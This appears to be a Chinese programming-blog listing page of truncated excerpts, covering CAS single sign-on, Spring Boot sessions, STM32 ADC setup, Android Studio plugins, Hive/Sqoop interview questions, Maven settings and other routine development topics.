单点登录CAS协议详解

剖析协议就像剖析设计模式,有些时候,协议让人摸不着头脑。 CAS 的代理模式要相对复杂一些,它引入了一些新的概念,我希望能够在这里描述一下其原理,有助于读者在配置和调试 CAS SSO 有更清晰的思路。 如果没记错, CAS 协议应该是由 Drew Mazurek 负责可开发的,从 CAS v1 到现在的 CAS v3 ,整个协议的基础思想都是基于 Kerberos 的票据方式。 CAS v1 非常原始,传送一个用户名居然是 ”yes"ndavid.turing” 的方式, CAS v2 开始使用了 XML 规范,大大增强了可扩展性, CAS v3 开始使用 AOP 技术,让 Spring 爱好者可以轻松配置 CASServer 到现有的应用环境中。 CAS 是通过 TGT(TicketGranting Ticket) 来获取 ST(Service Ticket) ,通过 ST 来访问服务,而 CAS 也有对应 TGT , ST 的实体,而且他们在保护 TGT 的方法上虽然有所区别,但是,最终都可以实现这样一个目的——免去多次登录的麻烦。

注册表操作的类

//注册表操作类 /// <summary> 注册表根节点类型 /// </summary> public enum WRegisterRootKeyType { HKEY_CLASSES_ROOT = 0, HKEY_CURRENT_USER = 1, HKEY_LOCAL_MACHINE = 2, HKEY_USERS = 3, HKEY_CURRENT_CONFIG = 4 } /// <summary> 读写注册表的类 /// </summary> public class RegistryHelper { /// <summary> 获得根节点注册表 /// </summary> /// <param name="rootKeyType">根节点类型</param> /// <returns></returns> public static RegistryKey GetRootRegisterKey(WRegisterRootKeyType rootKeyType) { switch (rootKeyType) { case WRegisterRootKeyType.HKEY_CLASSES_ROOT: return Registry.ClassesRoot; case WRegisterRootKeyType.HKEY_CURRENT_CONFIG: return Registry.CurrentConfig; case WRegisterRootKeyType.HKEY_CURRENT_USER: return Registry.CurrentUser; case WRegisterRootKeyType.HKEY_LOCAL_MACHINE: return Registry.

spring boot之session的创建,销毁,超时,监听等等小结

一、 session简介 1. 服务器可以为每个用户浏览器创建一个会话对象(session对象),一个浏览器只能产生一个session,当新建一个窗口访问服务器时,还是原来的那个session。session中默认保存的是当前用户的信息。因此,在需要保存其他用户数据时,我们可以自己给session添加属性。session(会话)可以看为是一种标识,通过带session的请求,可以让服务器知道是谁在请求数据。 二、 session与cookie的区别和联系 1、 session是由服务器创建的,并保存在服务器上的。在session创建好之后,会把sessionId放在cookie中返回(response)给客户端。返回的代码应该是这样子的。返回的cookie是保存在客户端的。 String sessionId = session.getId(); Cookie cookie = new Cookie("JSESSIONID", sessionId); cookie.setPath(request.getContextPath()); response.addCookie(cookie); 2、 以后的每次HTTP请求都会带着sessionId,来跟踪用户的整个会话。 3、 session的过期和超时与cookie的过期没有什么联系,都是可以分别进行设置的。但是当session或cookie中任意一方过期,那么用户就需要重新登录了。 三、 session相关 1、 session的创建 @GetMapping("demo") public void demo(HttpServletRequest request){ HttpSession sessoin=request.getSession();//这就是session的创建 session.setAttribute("username","TOM");//给session添加属性属性name: username,属性 value:TOM session.setAttribute("password","tommmm");//添加属性 name: password; value: tommmm System.out.println(session.geiId); } 其中HttpSession session=request.getSession(true); //true表示如果这个HTTP请求中,有session,那么可以直接通过getSession获取当前的session,如果当前的请求中没有session,则会自动新建一个session HttpSession session=request.getSession(false);//false表示只能获取当前请求中的session,如果没有也不能自动创建。 2、 session的 获取属性 session.getAttribute("username"); session.getAttribute("password"); 3、 session,cookies的超时设置 1 在.yml里面或.xml配置文件里面 2 在创建session时 session.setMaxInactiveInterval(30*60);//以秒为单位,即在没有活动30分钟后,session将失效 四、 session的监听 监听session主要有三个接口,用这两个就够用了。 实现接口HttpSessionListener下的sessionCreated();//当session创建时。 和sessionDestroyed();//当session被销毁或超时时。 实现接口HttpSessionAttributeListener下的 attributeAdded() //当给session添加属性时

CMake方式编译生成so库

在CMake构建工具没有发布之前,都是ndk-build方式来编译生成so库,但是ndk-build比较繁琐且容易出错,我们用CMake方式,比较简单,这样我们就可以专注于我们的开发,细心的哥们可能早就注意到了Android Studio创建项目的时候,可以勾选支持这种方式: 看图: 这样是最省事的,我先看下项目都生成了什么特别的东西: CMakeLists.txt 这个是最显眼的文件,没错,系统帮助我们完成了所有的东西,最重要的就是这个文件,文件内容如下: # For more information about using CMake with Android Studio, read the # documentation: https://d.android.com/studio/projects/add-native-code.html # Sets the minimum version of CMake required to build the native library. #最低要求版本号 cmake_minimum_required(VERSION 3.4.1) # Creates and names a library, sets it as either STATIC # or SHARED, and provides the relative paths to its source code. # You can define multiple libraries, and CMake builds them for you.

简单易学的机器学习算法——极限学习机(ELM)

一、极限学习机的概念 极限学习机(Extreme Learning Machine) ELM,是由黄广斌提出来的求解单隐层神经网络的算法。 ELM最大的特点是对于传统的神经网络,尤其是单隐层前馈神经网络(SLFNs),在保证学习精度的前提下比传统的学习算法速度更快。 二、极限学习机的原理 ELM是一种新型的快速学习算法,对于单隐层神经网络,ELM可以随机初始化输入权重和偏置并得到相应的输出权重。 (选自黄广斌老师的PPT) 对于一个单隐层神经网络(见Figure 1),假设有 N 个任意的样本(Xi,ti),其中 Xi=[xi1,xi2,...,xin]T∈Rn , ti=[ti1,ti2,...,tim]T∈Rm 。对于一个有 L 个隐层节点的单隐层神经网络可以表示为 ∑i=1Lβig(Wi⋅Xj+bi)=oj,j=1,...,N 其中, g(x) 为激活函数, Wi=[wi1,wi2,...,win]T 为输入权重, βi 输出权重, bi 是第 i 个隐层单元的偏置。Wi⋅Xj表示 Wj 和 Xj 的内积。 单隐层神经网络学习的目标是使得输出的误差最小,可以表示为 ∑j=1N||oj−tj||=0 即存在 βi , Wi 和 bi ,使得 ∑i=1Lβig(Wi⋅Xj+bi)=tj,j=1,...,N 可以矩阵表示为 Hβ=T 其中, H 是隐层节点的输出,β为输出权重, T 为期望输出。H(W1,...,WL,b1,...,bL,X1,...,XL)=⎡⎣⎢⎢g(W1⋅X1+b1)⋯g(WL⋅X1+bL)⋮⋯⋮g(W1⋅XN+b1)⋯g(WL⋅XN+bL)⎤⎦⎥⎥N×L β=⎡⎣⎢⎢βT1⋮βTL⎤⎦⎥⎥L×m,T=⎡⎣⎢⎢TT1⋮TTL⎤⎦⎥⎥L×m 为了能够训练单隐层神经网络,我们希望得到 W^i , b^i 和 β^i ,使得 ||H(W^i,b^i)β^i−T||=minW,b,β||H(Wi,bi)βi−T|| 其中, i=1,...,L ,这等价于最小化损失函数 E=∑j=1N(∑i=1Lβig(Wi⋅Xj+bi)−tj)2 传统的一些基于梯度下降法的算法,可以用来求解这样的问题,但是基本的基于梯度的学习算法需要在迭代的过程中调整所有参数。而在ELM算法中, 一旦输入权重 Wi 和隐层的偏置 bi 被随机确定,隐层的输出矩阵 H 就被唯一确定。训练单隐层神经网络可以转化为求解一个线性系统Hβ=T。并且输出权重 β 可以被确定 β^=H+T 其中,是矩阵的Moore-Penrose广义逆。且可证明求得的解的范数是最小的并且唯一。 三 实验 我们使用《简单易学的机器学习算法——Logistic回归》中的实验数据。 原始数据集 我们采用统计错误率的方式来评价实验的效果,其中错误率公式为:

迁移Eclipse的配置信息

最简单的方法 将eclipse的workspace目录下的 .metadata/.plugins/org.eclipse.core.runtime/.settings/目录 复制到新的workspace下

数字特征值-对数字求特征值是常用的编码算法,奇偶特征是一种简单的特征值

对数字求特征值是常用的编码算法,奇偶特征是一种简单的特征值。对于一个整数,从个位开始对每一位数字编号,个位是1号,十位是2号,以此类推。这个整数在第n位上的数字记作x,如果x和n的奇偶性相同,则记下一个1,否则记下一个0。按照整数的顺序把对应位的表示奇偶性的0和1都记录下来,就形成了一个二进制数字。比如,对于342315,这个二进制数字就是001101。 package hello; import java.util.Scanner; public class Main { public static void main(String[] args) { // TODO Auto-generated method stub int[] n=new int[7]; int[] x=new int[7]; int num,i; Scanner in = new Scanner(System.in); num = in.nextInt(); if(num>=0&&num<=1000000) {//思路是运用数组来存对应的数 for (i=1;i<=n.length;i++) { if(num!=0) { n[i]=num%10;//从右边开始向左边分离数的好处是可以去除num中不该出现的0 // System.out.println(n[2]); num=num/10;//除以10得到除去个位的数 if((n[i]+i)%2==0) {//这里经过分析奇偶是有规律的 x[i]=1; // System.out.println(x[1]); } } } } // for (i=1;i<=6;i++) { // if((n[i]+i)%2==0) { // // x[i]=1; // } // } // System.

A Diversity-Promoting Objective Function for Neural Conversation Models论文阅读笔记

本文是李纪为的论文“A Diversity-Promoting Objective Function for Neural Conversation Models”阅读笔记。违章提出使用MMI代替原始的maximum likelihood作为目标函数,目的是使用互信息减小“I don’t Know”这类无聊响应的生成概率。一般的seq2seq模型,倾向于生成安全、普适的响应,因为这种响应更符合语法规则,在训练集中出现频率也较高,最终生成的概率也最大,而有意义的响应生成概率往往比他们小。通过MMI来计算输入输出之间的依赖性和相关性,可以减少模型对他们的生成概率。本文提出了两种模型(其实就是改了下目标函数,而且训练过程中仍然使用likelihood,仅在测试的时候使用新的目标函数将有意义的响应的概率变大~~),MMI-antiLM和MMI-bidi,下面分别进行介绍。 新的目标函数 在介绍模型之前先来看看新的目标函数和普通的目标函数的区别,以便清楚地明白新目标函数的作用和功能。首先看下原始的目标函数,就是在给定输入S的情况下生成T的概率,其实就是一个T中每个单词出现的条件概率的连乘。 接下来看提出的第一个目标函数MMI-antiLM,在其基础上添加了目标序列本身的概率logp(T),p(T)就是一句话存在的概率,也就是一个模型,前面的lambda是惩罚因子,越大说明对语言模型惩罚力度越大。由于这里用的是减号,所以相当于在原本的目标上减去语言模型的概率,也就降低了“I don’t know”这类高频句子的出现概率。 然后是第二个目标函数MMI-bidi,在原始目标函数基础上添加logp(S|T),也就是T的基础上产生S的概率,而且可以通过改变lambda的大小衡量二者的重要性。后者可以表示在响应输入模型时产生输入的概率,自然像“I don’t know”这种答案的概率会比较低,而这里使用的是相加,所以会降低这种相应的概率。接下来我们再详细介绍两个模型的细节 MMI-antiLM 如上所说,MMI-antiLM模型使用第一个目标函数,引入了logp(T),如果lambda取值不合适可能会导致产生的响应不符合语言模型,所以在实际使用过程中会对其进行修正。由于解码过程中往往第一个单词或者前面几个单词是根据encode向量选择的,后面的单词更倾向于根据前面decode的单词和语言模型选择,而encode的信息影响较小。也就是说我们只需要对前面几个单词进行惩罚,后面的单词直接根据语言模型选择即可,这样就不会使整个句子不符合语言模型了。使用下式中的U(T)代替p(T),式中g(k)表示要惩罚的句子长度: 此外,我们还想要加入响应句子的长度这个因素,也作为模型相应的依据,所以将上面的目标函数修正为下式: MMI-bidi MMI-bidi模型引入了p(S|T)项,这就需要先计算出完整的T序列再将其传入一个提前训练好的反向seq2seq模型中计算该项的值。但是考虑到S序列会产生无数个可能的T序列,我们不可能将每一个T都进行计算,所以这里引入beam-search只计算前200个序列T来代替。然后再计算两项和,进行得分重排。论文中也提到了这么做的缺点,比如最终的效果会依赖于选择的前N个序列的效果等等,但是实际的效果还是可以的。 实验结果 最终在Twitter和OpenSubtitle两个数据集上面进行测试,效果展示BLEU得分逗比标准的seq2seq模型要好。

11-STM32F1 ADC

STM32F1 ADC STM32 拥有 1~3 个 ADC(STM32F101/102 系列只有 1 个 ADC),这些 ADC 可以独立使用,也可以使用双重模式(提高采样率)。 STM32 的 ADC 是 12 位逐次逼近型的模拟数字转换器。它有 18 个通道,可测量 16 个外部和 2 个内部信号源。各通道的 A/D 转换可以单次、连续、扫描或间断模式执行。 ADC 的结果可以左对齐或右对齐方式存储在 16 位数据寄存器中。 模拟看门狗特性允许应用程序检测输入电压是否超出用户定义的高/低阀值。STM32F103 系列最少都拥有 2 个 ADC,我们选择的 STM32F103ZET 包含有 3 个 ADC。STM32 的 ADC 最大的转换速率为 1Mhz,也就是转换时间为 1us(在 ADCCLK=14M,采样周期为 1.5 个 ADC 时钟下得到),不要让 ADC 的时钟超过 14M,否则将导致结果准确度下降。STM32 将 ADC 的转换分为 2 个通道组:规则通道组和注入通道组。规则通道相当于你正常运行的程序,而注入通道呢,就相当于中断。在你程序正常执行的时候,中断是可以打断你的执行的。同这个类似,注入通道的转换可以打断规则通道的转换, 在注入通道被转换完成之后,规则通道才得以继续转换。 其实ADC配合DMA是比较好用的,这里只是为了总结ADC的原理所以没有使用DMA。那个注入通道感觉一般情况用不到,除非是高速转换才用到,所以暂时不纠结, 本实验是用软件触发ADC转换,触发一次就转换一次,步骤如下; 步骤; 1;IO配置为模拟输入 2;打开ADC时钟 3;对ADC时钟进行分频 4;ADC是否需要连续转换 5;数据对齐模式,好像向右对齐比较方便计算 6;选择触发模式 7;ADC转换模式,这里是独立模式 8;选择需要转换的通道个数 9;是否进行通道轮流转换 10;使能ADC 11;复位校准ADC,并等待校准完成 12;校准ADC,并等待校准完成 13;初始化完毕,下面是开始转换了 14;选择要转换的通道 15;手动触发转换,因为上面第6步选择的是软件触发 16;等待转换完成 17;读取准转换后的ADC值 18;把ADC值转换为电压值 19;ok 本实验用的是原子的精英板,转换的通道是ADC3的通道6,在PF8上。因为开发板的光敏电阻刚好在这个引脚上,所以就采集这个引脚的电压 实验目的;200ms采集一次ADC的值,然后通过串口发送到电脑上 代码如下; ****************************************************************/ void init__uart1();//串口初始化函数声明 void init_adc3() { ADC_InitTypeDef ADC_InitStruct; GPIO_InitTypeDef GPIO_InitStruct; RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOF|RCC_APB2Periph_ADC3,ENABLE);//IO时钟打开,ADC3时钟打开 RCC_ADCCLKConfig(RCC_PCLK2_Div6);//这个是对ADC时钟分频的,ADC时钟不能超过14m, GPIO_InitStruct.

图文并茂全面总结上百个Android Studio好用的插件(IDE通用)

俗话说得好,工欲善其事,必先利其器。做开发时间长了,总想找一些快捷方法,只有拥有好用的工具,才能节省开发时间,提高工作效率。我就是一个 追(喜)求(欢)高(偷)效(懒) 的开发人员,正好趁着国庆假期,把平日用到的一些 Android Studio开发插件 整理了一下,分享给大家。 本文最早发布在简书博客 www.jianshu.com/p/269a48d75… 有人会问了,网上也有很多博客在讲Android Studio的插件总结,为什么你还要弄一篇博客呢?我可以告诉大家,网上讲的那些很多都是文字,要么就是给你一个链接,有些还是过时的,有些博客讲的比较全面,可是并没有分门别类去区分,很杂乱;有的博客做了分类,但是都是文字和链接,打开某些链接只是一些简单的图片,很简单。 简单看几个图就知道网上的博客写的大概是什么样的(我并没有针对谁,只是说我们写博客给别人看一定要注意一目了然): 有这样的:标题是链接,介绍就一句话,没有具体用法,图片看不到。 有这样的:介绍就一句话,没有具体用法,但是有下载地址和文档地址(我还要去打开文档去看,有些是英文的,还需要去翻译)。 有这样的:标题是链接,点进去有的链接已经失效,介绍用法是全英文的,我还要去翻译。 有这样的:这个稍好一些,标题是链接,有介绍,没有图片讲解,需要点击标题链接进去。 有这样的:全部是文字,没图片,杂乱,类型不知道,哪个好用也不知道,还要自己一个一个的去下载试试看。 我是一个 追(自)求(娱)极(自)致(乐) 的技术宅,那些博客看的我想砸了电脑,为啥不讲清楚一些,让人可以知道是干嘛用的?这也是我整理这篇博客的原因。 首先,我分门别类,按类型把功能类似的的都放在一起。 其次,我对每一个插件做了一个很精确的讲解,图文并茂。另外把一些注意事项,以及优缺点都写的清清楚楚,这是我自己使用中总结出来的(极个别的除外)。 再次,制作对比图片,以及截图补充说明。网上的有些动图要么太模糊,要么版本太旧,要么就是速度太快看不清。所以我把很多插件的用法自己做了一个录屏,做成gif动图。另外自己也做了一些图片对比图,方便别人查看插件使用前后的区别。(有些图片用的是网上的或者官方的,在此感到抱歉,因为那些图片能够解决问题,也没什么大的问题,所以暂时借用了。) 好了,言归正传,下面看一下今天的 目录。 一、生成java文件,xml布局和生成资源文件有关: 1.SmartFindViewById 2.GenerateFindViewById(很完美的一个插件) 3.LayoutCreator 4.Android Code Generator 5.Android Studio Prettify 6.AndroidAccessors 7.Android Layout ID Converter 8.BorePlugin 9.Exynap 10.MVPHelper 11.InnerBuilder 复制代码 二、资源文件的管理和自动生成有关: 1.svgtoandroid 2.Android Holo Colors Generator 3.Android Drawable Importer(36M,有点大) 快速批量导入不同大小的drawable文件 4.Android Material Design Icon Generator 是一个可以生成【Material Design图标】的插件。 5.Android Styler 根据xml自动生成style样式(有点复杂,不实用) 6.android-strings-search-plugin 7.color-manager 8.AndroidPixelDimenGenerator 9.android-selector-intellij-plugin 下面这几个不常用,作为了解: DimenGenerator 命令行生成dimen android-selector-chapek Strings-xml-tools 复制代码 三、格式化xml布局工具:

Cadence Allegro PCB快捷键设置方法

找到Cadence的安装路径,定位到'Cadence\SPB_Data\pcbenv'文件夹下,找到文件名为'env'的文件。 用记事本打开'env'文件,打开后图下图。 本人添加快捷命令如下,命令注解请读者往下翻: funckey 1 'pop bbdrill;pop swap;subclass top' funckey 2 'pop bbdrill;pop swap;subclass bottom' funckey 3 'pop bbdrill;pop swap;subclass top;+' funckey 4 'pop bbdrill;pop swap;subclass top;+;+' funckey 5 'pop bbdrill;pop swap;subclass top;+;+;+' funckey 6 'pop bbdrill;pop swap;subclass top;+;+;+;+' funckey w add connect funckey f Oops funckey q done funckey d Delete funckey r Rotate funckey e Move funckey m mirror funckey z cancel funckey c copy funckey a Align components

看图工具MassiGra使用指南

一、简介 如果,你受够了win10自带的龟速打开的照片。只希望找到一个简单的看图软件,它不需要有乱七八糟的其他功能。它只需要支持浏览图片,且打开速度超快,当然还需要没有广告。那么,这里就有一款软件:完美贴合你的需求——MassiGra。 MassiGra这个软件的话,是一个日本大神开发的,软件小而精,很干净,很纯粹。但是,如果想下载的话有点小小的问题:一是官网不搭梯子上不去,二是该软件只有日语,哪怕英语都是没有的。 二、下载网址 所以,这里就放一个国人的汉化版MassiGra汉化版(2.50M)。 该网站广告较多,但是找了几个,好像其他网站很大部分都是日语版。所以,这里仍然放这个网址。 三、安装方式 这里,为了照顾广大网友,这里就详细说下安装方式。老手可以直接下载安装,跳过本段。 0、这个网站最开始下载下来的是一个下载器,不是软件本身。 1、下载器下载完毕后,打开exe。 2、这里就需要主要一下了,因为上文提到了,广告很多。所以,打开的第一个界面就要停下来。注意看界面上的各个地方的广告(一般是在下面),凡是有个小方框带有勾的,都是广告,需要手动去掉这些广告的勾。一旦有一个忘了点,那么接下来就是一桌面的自安装软件图标。 3、下载完毕后,软件本体被下载完毕。但是,不要急着关闭界面,关了你就中招了。在完成下载后的弹出界面,仍然有广告。所以,同样的去掉完成界面上的这些广告的勾。 4、下载好的软件是一个压缩包,解压即可用。将压缩包放到你想要的位置后,解压。这样,软件就装好了。 四、优缺点 MassiGra几乎没有缺点,但是它唯一的缺点也是最大的缺点就是:它的默认图标太丑了!!! 如果,直接在设置中进行了 打开方式-->始终使用此应用打开*.*文件 的话,所有的图片都会变为一个黑色的丑陋的猫头像。这就很不好看了,毕竟谁都不想自己的图片全变为一个丑丑的喵星人图标。解决方法呢,就见后文了。 优点: 1、打开速度快: 速度绝对是最快的。这里我以win10照片为例,速度只有win10照片的打开时间的零头。 2、背景: 背景是格子背景,比较美观,还可以自行设置格子大小、颜色。 3、快捷键和鼠标自定义: 所有的功能都可以定义到快捷键上。甚至鼠标可以设置左击、右击、双击、拖曳、滚轮等每个动作的功能。 4、动态 GIF 播放速度: 有经验的用户应该知道不同软件播放动态 GIF 的速度会有不同,但 MassiGra 内置了 IE、Firefox、Opera、Safari 几种方案,解决了这个问题。 5、移动/复制/删除: 和 IrfanView 极其相似,不用询问可以直接移动或复制到目标文件夹,而且能设置多个文件夹,另外删除也可以不用询问。 6、高度自定义界面: 标题栏、内外边框、状态栏等等都可以自行设定。 7、外部程序: 支持用外部程序打开当前图片或路径。 8、缩放算法: 包含 Bicubic、Lanczos 3 等多种重采样算法,缩小图片能够得到很高的质量。而且实时缩放可以使用其他算法,阅览速度与图片另存两不误。 9、支持 Susie Plug-in: 默认支持 BMP、JPEG、GIF、PNG 四种文件,通过增强后可以支持更多,还能打开压缩包的图片。 10、有专门的漫画模式。 五、解决图标 前文提到,如果只是使用简单的方式设置 为默认打开的应用,那么就会产生一个比较难看的默认图标到所有的图片上。 于是,很自然的想到,我们只是使用MassiGra打开图片,不让其替换掉图片的图标。那么,这个功能在win10是可以完成的,使用默认应用功能即可。 但是,当我们进入默认应用设置,想把图片的默认设置为MassiGra。这时,我们就会发现,点开后只有win10自带的软件。且没有选择第三方的选项,就是说直接修改默认应用程序是不行的。 经过多次尝试,发现了下面这种既使用win10的图标,又设置为默认的图片打开方式。 1、找到你解压的地方,在MassiGra.exe上右键,以管理员身份运行。 2、点击右键 --> 其他 --> 关联设置。到了这一步,如果你不是用管理员身份运行的,就会弹出一个窗口:没有管理员权限,不能更改关联。所以,开始启动时我们需要使用管理员身份运行。 3、在进入关联设置后,勾上 选择所有 ,然后点击确定。到了这一步,每个人的电脑配置不同,也就有了不同的情形:

戴尔主机安装不上系统,windows10更新失败,AHCI与Raid on模式

戴尔的主机默认的SATA模式是Raid on模式,该模式主要是为了当主机拥有多块相同硬盘时而设置的,一般情况下,我们的主机都是由一块SSD和一块机械硬盘组成,所以并不推荐使用Raid on模式。 另外,使用Raid on模式安装系统,不仅需要下载额外的驱动,有时还会导致windows无法正常更新,或者安装失败的未知错误,所以在这里推荐安装系统的时候讲BIOS里的SATA模式修改成AHCI模式,这样不仅有利于SSD性能优势的发挥,而且不会产生各种不明错误。修改方法如下: 首先,进入BIOS 找到System configure(好像是这个,如果不是就到处翻一翻) 找到SATA相关字样的设置,将SATA模式更改成AHCI模式,然后重启电脑 这里注意,如果在原先系统上直接更改AHCI模式,会导致无法正确引导当前系统,但是我们又必须使用AHCI模式,为此有两种解决方法: 一、放弃引导,直接利用PE重启安装系统即可 二、利用安全模式绕过引导: 1. 开机后按下WIN键 加 R键 2. 输入 msconfig 3. 如图中所示进行点击。1 引导界面 2安全引导打钩 、最小打钩 3 下面的确定。 4. 点击重新启动 5. 在重启时连续按 F2 进入BOIS 依次找到 Advanced页面, SATA operation (在此处按回车) 如图所示 6. 选择AHCI 按回车确定 7. 这里提示要重装系统,不用理他,点YES就行 8. 按F10 选择YES 后计算机重启 9. 重启后进入如图所示的安全模式 10. 再次按 WIN键加 R 键 输入 MSCONFIG 点击确定 如图所示 11. 在引导页面,把之前的 安全引导的勾全部去掉,然后点击下面的确定,最后选择重新启动。 12. 开机成功进入页面 证明我们开启AHCI模式成功。

django的QuerySet 的属性

QuerySet 可以被构造,过滤,切片,做为参数传递,这些行为都不会对数据库进行操作。只要你查询的时候才真正的操作数据库。 下面的 QuerySet 行为会导致执行查询的操作: 循环(Iteration):QuerySet 是可迭代的,在你遍历对象时就会执行数据库操作。例如,打印出所有博文的大标题: 1 2 for e in Entry.objects. all (): print (e.headline) 切片(Slicing): QuerySet 是可以用 Python 的数组切片语法完成切片。一般来说对一个未查询的 QuerySet 切片就返回另一个未查询的 QuerySet (新 QuerySet 不会被执行)。不过如果你在切片时使用了 "step" 参数,Django 仍会执行数据库操作并且返回列表对象。对一个查询过的QuerySet执行切片也会返回列表对象。 序列化/缓存化(Pickling/Caching): 详情请查看 pickling QuerySets。 这一节所强调的一点是查询结果是从数据库中读取的。 repr(). 调用 QuerySet 的 repr() 方法时,查询就会被运行。这对于 Python 命令行来说非常方便,你可以使用 API 立即看到查询结果。 len(). 调用 QuerySet 的 len() 方法,查询就会被运行。这正如你所料,会返回查询结果列表的长度。 注意:如果你想得到集合中记录的数量,就不要使用 QuerySet 的 len() 方法。因为直接在数据库层面使用 SQL 的 SELECT COUNT(*) 会更加高效,Django 提供了 count() 方法就是这个原因。详情参阅下面的 count() 方法。 list(). 对 QuerySet 应用 list() 方法,就会运行查询。例如:

总结五、Hive和Sqoop

1.hive一般是用来做什么的 存储数据及处理数据-->数据仓库 2.hive的数据分为哪两块? 分别存储在哪? 分为元数据与数据,元数据存在MySQL,数据存在HDFS上 3.hive的部署流程是什么? 4.hive支持事务是哪个版本开始的? 0.14版本 5.hive建表语句是什么? create externt table xxx外表、create table xxx内表 6. 换行符和分割符怎样指定的? ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' 7.文件格式语法是什么?有哪些文件存储格式?默认是什么?他们的对比性? 8.压缩格式语法是什么?有哪些压缩格式?默认是什么?他们的对比性? 什么场景下用? 9.hive 什么SQL会产生mapreduce job? 聚合、CTAS 10.hive sql怎样转成mapreduce的过程的? 11.执行计划怎样看的? 12.默认reduce job有多少个?什么参数可以配置的? 13.yarn和mapreduce的内存调优参数(那两篇博客),请问hive有没有配置相关内存参数呢? 14.map task和reduce task个数由哪些因素决定的?主要考察 spilt 15.内部表和外部表什么区别?语法是什么 16.分区表语法是什么? 静态和动态? 17.桶表是什么概念,什么场景下使用? (一般我们使用外部分区表) 18.我记得若泽给你们说过一节课中讲到 reduce join转为map join 19.怎样从本地加载数据到表里,表到本地呢? 20.UDF函数,怎样临时添加或者永久添加到hive? 写两个udf函数,一个是添加随机数,一个是去掉随机数? 21.sqoop 语法是什么,怎样将MySQL数据抽取到hive表中呢? 22.sqoop按天怎样增量抽取MySQL的数据呢? 23.shell脚本语言,能不能封装sqoop增量抽取,每天调度一下 若泽大数据交流群:671914634

Cadence Allegro PCB添加泪滴的方法

1.打开Allegro PCB软件,通过菜单栏,依次选择‘Route’ -->‘Gloss’-->‘parameters’,我个人只选择下图中选定的这个选项。 2.点击‘Gloss’即可添加泪滴,添加完点击‘Close’即可。效果图如下,红色部分就是添加的泪滴。

小程序学习01->view与scroll-view

- view view是最常用也是最简单的的视图窗口组件,相当于HTML页面同的 标签。 下面来实战一下使用view。 1、在app.json下添加view页面。 添加后按ctrl+s,微信开发工具会自动生成页面。 2、编写view.wxml页面 <!--pages/view/view.wxml--> <view class="bgView"> 1 </view> <view class="bgView"> 2 </view> 上述代码中用到了bgView这个css样式,可在view.wxss中添加 /* pages/view/view.wxss */ .bgView{ padding: 40px; height: 10px; width: 10px; margin-top: 20px; margin-left: 50px; background: blue } 3、写好后保存,然后切换index.wxml中添加个跳转按钮过来就可以了。 4、添加按钮后,还需要在index.js中编写跳转代码。 view效果: - scroll-view scroll-view 用于滚动视图,scroll-view有横向滚动和竖向滚动之分。使用竖向滚动时,需要给一个固定的高度,通过WXSS设置height。 scroll-view属性及说明如下图: 在view中加入scroll-view滚动。 <scroll-view scroll-y="true" style="heigth:200px;" bindscrolltoupper="upper" bindscrolltolower="lower" bindscroll="scroll" scroll-into-view="red" scroll-top="50"> <view class="bgViewBlue" id="blue"> 1 </view> <view class="bgViewRed" id="red"> 2 </view> <view class="bgViewYellow" id="yellow"> 3 </view> <view class="bgViewYellow" id="

前端系列之HTML(表格)

了解表格应用场景 表格基本结构 如何操作表格? 添加、删除行与列 表格属性 <caption></caption>定义表格的标题 表格跨行跨列 表格嵌套 案例:表格网页布局 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>表格布局</title> </head> <body> <table width="100%" bgcolor="#f2f2f2"> <!--页头--> <tr height="80px" bgcolor="#14191e"> <td>1111</td> </tr> <!--上空行--> <tr height="10px"> <td></td> </tr> <!--内容--> <tr> <td> <table align="center" width="1024px"> <tr> <td width="240px" valign="top"> <table width="100%" bgcolor="#ffffff"> <tr><td align="center" height="60px">关于我们</td></tr> <tr><td align="center" height="60px">团队介绍</td></tr> <tr><td align="center" height="60px">人才招聘</td></tr> <tr><td align="center" height="60px">讲师招募</td></tr> <tr><td align="center" height="60px">联系我们</td></tr> <tr><td align="center" height="60px">常见问题</td></tr> <tr><td align="center" height="60px">意见反馈</td></tr> <tr><td align="center" height="

Maven --- Settings配置详解

一、Maven的Settings结构 <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd"> <localRepository/> <interactiveMode/> <usePluginRegistry/> <offline/> <pluginGroups/> <servers/> <mirrors/> <proxies/> <profiles/> <activeProfiles/> </settings> 二、LocalRepository 作用:该值表示构建系统本地仓库的路径。 其默认值:~/.m2/repository。 <localRepository>D:\repository</localRepository> 三、InteractiveMode 作用:表示maven是否需要和用户交互以获得输入。 如果maven需要和用户交互以获得输入,则设置成true,反之则应为false。默认为true。 <interactiveMode>true</interactiveMode> 四、UsePluginRegistry 作用:maven是否需要使用plugin-registry.xml文件来管理插件版本。 如果需要让maven使用文件~/.m2/plugin-registry.xml来管理插件版本,则设为true。默认为false。 <usePluginRegistry>false</usePluginRegistry> 五、Offline 作用:表示maven是否需要在离线模式下运行。 如果构建系统需要在离线模式下运行,则为true,默认为false。 当由于网络设置原因或者安全因素,构建服务器不能连接远程仓库的时候,该配置就十分有用。 <offline>false</offline> 六、PluginGroups 作用:当插件的组织id(groupId)没有显式提供时,供搜寻插件组织Id(groupId)的列表。 该元素包含一个pluginGroup元素列表,每个子元素包含了一个组织Id(groupId)。 当我们使用某个插件,并且没有在命令行为其提供组织Id(groupId)的时候,Maven就会使用该列表。默认情况下该列表包含了org.apache.maven.plugins和org.codehaus.mojo。 <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd"> ... <pluginGroups> <!--plugin的组织Id(groupId) --> <pluginGroup>org.codehaus.mojo</pluginGroup> </pluginGroups> ... </settings> 七、Servers 作用:一般,仓库的下载和部署是在pom.xml文件中的repositories和distributionManagement元素中定义的。然而,一般类似用户名、密码(有些仓库访问是需要安全认证的)等信息不应该在pom.xml文件中配置,这些信息可以配置在settings.xml中。 <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd"> ... <!--配置服务端的一些设置。一些设置如安全证书不应该和pom.xml一起分发。这种类型的信息应该存在于构建服务器上的settings.xml文件中。 --> <servers> 